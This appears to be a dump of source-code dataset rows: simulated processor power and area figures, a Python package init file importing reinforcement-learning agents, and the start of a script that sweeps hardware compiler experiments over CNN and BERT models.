'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0398849,
'L2/Runtime Dynamic': 0.0110094,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 3.61797,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.15672,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0770262,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0770263,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.98171,
'Load Store Unit/Runtime Dynamic': 1.61362,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.189933,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.379867,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.067408,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0679909,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.223184,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0228137,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.495088,
'Memory Management Unit/Runtime Dynamic': 0.0908046,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 19.1902,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.308622,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0122936,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0906336,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.411549,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 4.47699,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.143943,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.315748,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.82782,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.300495,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.484688,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.244654,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.02984,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.216762,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.67682,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.156393,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0126041,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.142981,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0932152,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.299374,
'Execution Unit/Register Files/Runtime Dynamic': 0.105819,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.337215,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.759372,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 2.61615,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000561173,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000561173,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00049239,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000192586,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00133904,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00295378,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00525152,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0896102,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 5.69997,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.185189,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.304356,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.19512,
'Instruction Fetch Unit/Runtime Dynamic': 0.58736,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0331364,
'L2/Runtime Dynamic': 0.00690468,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 3.73908,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.20438,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0809444,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0809443,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 4.12132,
'Load Store Unit/Runtime Dynamic': 1.68451,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.199595,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.39919,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0708369,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0713315,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.354403,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0303674,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.632198,
'Memory Management Unit/Runtime Dynamic': 0.101699,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 22.2481,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.411399,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0185642,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.145542,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.575505,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 5.57213,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 3.8520256364402035,
'Runtime Dynamic': 3.8520256364402035,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.210023,
'Runtime Dynamic': 0.0651955,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 81.4763,
'Peak Power': 114.589,
'Runtime Dynamic': 18.7775,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 81.2663,
'Total Cores/Runtime Dynamic': 18.7123,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.210023,
'Total L3s/Runtime Dynamic': 0.0651955,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}} | 75.078775 | 124 | 0.682026 | 8,090 | 68,622 | 5.779234 | 0.067738 | 0.12354 | 0.112932 | 0.093425 | 0.939535 | 0.931043 | 0.918617 | 0.886748 | 0.86168 | 0.842281 | 0 | 0.131859 | 0.224287 | 68,622 | 914 | 125 | 75.078775 | 0.746464 | 0 | 0 | 0.642232 | 0 | 0 | 0.657287 | 0.048089 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d09dcb67cae1ed3b93e1315b2513842566ec8591 | 151 | py | Python | agents/__init__.py | best99317/Deep-RL-Package | 8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad | [
"MIT"
] | 1 | 2020-11-23T13:01:50.000Z | 2020-11-23T13:01:50.000Z | agents/__init__.py | best99317/Deep-RL-Package | 8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad | [
"MIT"
] | null | null | null | agents/__init__.py | best99317/Deep-RL-Package | 8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad | [
"MIT"
] | null | null | null | from .Agent import *
from agents.VPG import *
from agents.NPG import *
from agents.TRPO import *
from agents.HTRPO import *
from agents.ReFER import *
| 21.571429 | 26 | 0.761589 | 23 | 151 | 5 | 0.391304 | 0.434783 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15894 | 151 | 6 | 27 | 25.166667 | 0.905512 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d0bd96863095c1bec755a2a1770be6f0a0ed0d5f | 14,262 | py | Python | run_experiments.py | yuezuegu/sosa-compiler | 32384c221781f724cfc67c82ac3855d381eea22d | [
"MIT"
] | null | null | null | run_experiments.py | yuezuegu/sosa-compiler | 32384c221781f724cfc67c82ac3855d381eea22d | [
"MIT"
] | null | null | null | run_experiments.py | yuezuegu/sosa-compiler | 32384c221781f724cfc67c82ac3855d381eea22d | [
"MIT"
] | null | null | null | import os
import time
from datetime import datetime
import subprocess
import itertools
import numpy as np
NO_PROCS = 32
running_procs = []
def is_proc_ended(proc):
retcode = proc.poll()
if retcode is not None: # Process finished.
print("Process {} ended with code {}".format(proc.pid, retcode))
if retcode != 0:
print("FAILED: Return code is not 0")
return True
else:
return False
def wait_for_proc_limit(running_procs):
while True:
for proc in running_procs:
if (is_proc_ended(proc)):
running_procs.remove(proc)
if len(running_procs) < NO_PROCS: #Block if there is more than x number of running threads
return running_procs
time.sleep(.1)
def wait_all_finish(running_procs):
while True:
for proc in running_procs:
if (is_proc_ended(proc)):
running_procs.remove(proc)
if len(running_procs) == 0:
return running_procs
time.sleep(.1)
def date_minute():
return datetime.now().strftime("%Y_%m_%d-%H_%M")
def date_second():
return datetime.now().strftime("%Y_%m_%d-%H_%M_%S")
def date_millisecond():
return datetime.now().strftime("%Y_%m_%d-%H_%M_%S_%f")[:-3]
def memory_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
BATCH_SIZE = 1
IMSIZE = 299
ARRAY_SIZE = (32, 32)
NO_ARRAY = 128
BANK_SIZE = 262144
cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"]
cnn_models = list(itertools.product(cnn_models, [1]))
bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"]
no_seqs = [100]
bert_models = list(itertools.product(bert_models, no_seqs))
INTERCONN = "banyan_exp_1"
#for MEMORY_BW in [400, 800, 1200, 1600, 2000]:
for MEMORY_BW in [1200]:
for MODEL,SENTENCE_LEN in cnn_models + bert_models:
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--sentence_len {SENTENCE_LEN} \
--imsize {IMSIZE} \
--array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \
--out_dir {OUT_DIR}' \
cmd2 = f"./build-Release/compiler_st \
-r {ARRAY_SIZE[0]} \
-c {ARRAY_SIZE[1]} \
-N {NO_ARRAY} \
-M {MEMORY_BW} \
-S {BANK_SIZE} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
def interconnect_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
BATCH_SIZE = 1
IMSIZE = 299
ARRAY_SIZE = (32, 32)
MEMORY_BW = 1200
BANK_SIZE = 262144
cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"]
cnn_models = list(itertools.product(cnn_models, [1]))
bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"]
no_seqs = [10, 20, 40, 60, 80, 100, 200, 300, 400, 500]
bert_models = list(itertools.product(bert_models, no_seqs))
no_arrays = [32,64,128,256,512]
for INTERCONN in ["banyan_exp_0", "banyan_exp_1", "banyan_exp_2", "banyan_exp_3", "benes_copy", "crossbar"]:
for no_array in no_arrays:
for MODEL,SENTENCE_LEN in bert_models + cnn_models:
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--sentence_len {SENTENCE_LEN} \
--imsize {IMSIZE} \
--array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \
--out_dir {OUT_DIR}'
cmd2 = f"./build-Release/compiler_st \
-r {ARRAY_SIZE[0]} \
-c {ARRAY_SIZE[1]} \
-N {no_array} \
-M {MEMORY_BW} \
-S {BANK_SIZE} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
def bank_size_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
IMSIZE = 299
INTERCONN = "banyan_exp_1"
ARRAY_SIZE = (32, 32)
NO_ARRAY = 256
cnn_models = ["resnet152"]
MEMORY_BW = 1200
for BATCH_SIZE in [1, 2, 4, 8]:
for BANK_SIZE in [32768, 65536, 131072, 262144, 524288, 1048576]:
for MODEL in cnn_models:
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--imsize {IMSIZE} \
--array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \
--out_dir {OUT_DIR}' \
cmd2 = f"./build-Release/compiler_st \
-r {ARRAY_SIZE[0]} \
-c {ARRAY_SIZE[1]} \
-N {NO_ARRAY} \
-M {MEMORY_BW} \
-S {BANK_SIZE} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
def multi_batch_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
IMSIZE = 299
MEMORY_BW = 1200
BANK_SIZE = 262144
INTERCONN = "banyan_exp_1"
ARRAY_SIZE = (32, 32)
NO_ARRAY = 256
#MODELS = ["densenet121", "bert_medium", "densenet121"]
MODELS = ["resnet152", "bert_medium", "resnet152"]
EXTRA_MODELS = ["None", "None", "bert_medium"]
SENTENCE_LEN = 100
